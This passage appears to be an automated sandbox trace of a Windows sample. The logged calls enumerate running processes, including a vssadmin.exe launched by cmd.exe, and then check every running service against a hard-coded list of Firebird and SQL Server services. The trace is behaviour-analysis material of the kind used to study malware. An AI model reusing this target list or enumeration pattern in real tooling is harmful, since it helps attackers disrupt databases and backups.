lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0208.102] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0208.102] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0208.103] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0208.103] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0208.103] lstrlenW (lpString="planned.exe") returned 11 [0208.103] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0208.104] lstrlenW (lpString="springer andrew.exe") returned 19 [0208.104] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0208.105] lstrlenW (lpString="cakes import.exe") returned 16 [0208.105] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0208.105] lstrlenW (lpString="theory.exe") returned 10 [0208.105] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0208.106] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0208.106] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0208.106] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0208.107] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0208.107] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0208.107] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0208.108] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0208.108] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0208.108] lstrlenW (lpString="indicescancellation.exe") returned 23 [0208.108] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0208.109] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0208.109] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0208.109] lstrlenW (lpString="desk.exe") returned 8 [0208.109] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.110] lstrlenW (lpString="svchost.exe") returned 11 [0208.110] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0208.111] lstrlenW (lpString="sppsvc.exe") returned 10 [0208.111] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.111] lstrlenW (lpString="svchost.exe") returned 11 [0208.111] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.112] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0208.112] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.112] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0208.112] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0208.113] lstrlenW (lpString="winhost.exe") returned 11 [0208.113] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.114] lstrlenW (lpString="cmd.exe") returned 7 [0208.114] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.114] lstrlenW (lpString="conhost.exe") returned 11 [0208.114] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0208.115] lstrlenW (lpString="vssadmin.exe") returned 12 [0208.115] Process32NextW (in: hSnapshot=0x194, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0208.116] CloseHandle (hObject=0x194) returned 1 [0208.116] Sleep (dwMilliseconds=0x1f4) [0209.306] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63ffa0 [0209.306] EnumServicesStatusExW (in: hSCManager=0x63ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0209.306] GetLastError () returned 0xea [0209.307] EnumServicesStatusExW (in: hSCManager=0x63ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x619238, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x619238, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0209.307] CloseServiceHandle (hSCObject=0x63ffa0) returned 1 [0209.307] lstrlenW (lpString="Appinfo") returned 7 [0209.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0209.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0209.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0209.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0209.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0209.307] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0209.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.307] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0209.307] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0209.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0209.307] lstrlenW (lpString="AudioSrv") returned 8 [0209.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0209.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0209.307] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0209.307] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0209.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0209.307] lstrlenW (lpString="BFE") returned 3 [0209.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0209.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0209.307] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0209.307] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0209.308] lstrlenW (lpString="CryptSvc") returned 8 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0209.308] lstrlenW (lpString="CscService") returned 10 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0209.308] lstrlenW (lpString="DcomLaunch") returned 10 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0209.308] lstrlenW (lpString="Dhcp") returned 4 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0209.308] lstrlenW (lpString="Dnscache") returned 8 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0209.308] lstrlenW (lpString="DPS") returned 3 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0209.308] lstrlenW (lpString="eventlog") returned 8 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0209.308] lstrlenW (lpString="EventSystem") returned 11 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0209.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0209.308] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0209.308] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0209.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0209.308] lstrlenW (lpString="FontCache") returned 9 [0209.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0209.309] lstrlenW (lpString="gpsvc") returned 5 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0209.309] lstrlenW (lpString="iphlpsvc") returned 8 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0209.309] lstrlenW (lpString="LanmanServer") returned 12 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0209.309] lstrlenW (lpString="LanmanWorkstation") returned 17 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0209.309] lstrlenW (lpString="lmhosts") returned 7 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0209.309] lstrlenW (lpString="MMCSS") returned 5 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0209.309] lstrlenW (lpString="MpsSvc") returned 6 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0209.309] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0209.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0209.309] lstrlenW (lpString="Netman") returned 6 [0209.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0209.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0209.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0209.310] lstrlenW (lpString="netprofm") returned 8 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0209.310] lstrlenW (lpString="NlaSvc") returned 6 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0209.310] lstrlenW (lpString="nsi") returned 3 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0209.310] lstrlenW (lpString="PcaSvc") returned 6 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0209.310] lstrlenW (lpString="PlugPlay") returned 8 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0209.310] lstrlenW (lpString="Power") returned 5 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0209.310] lstrlenW (lpString="ProfSvc") returned 7 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0209.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0209.310] lstrlenW (lpString="RpcEptMapper") returned 12 [0209.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.310] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0209.310] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0209.311] lstrlenW (lpString="RpcSs") returned 5 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0209.311] lstrlenW (lpString="SamSs") returned 5 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0209.311] lstrlenW (lpString="Schedule") returned 8 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0209.311] lstrlenW (lpString="SENS") returned 4 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0209.311] lstrlenW (lpString="ShellHWDetection") returned 16 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0209.311] lstrlenW (lpString="Spooler") returned 7 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0209.311] lstrlenW (lpString="sppsvc") returned 6 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0209.311] lstrlenW (lpString="SysMain") returned 7 [0209.311] 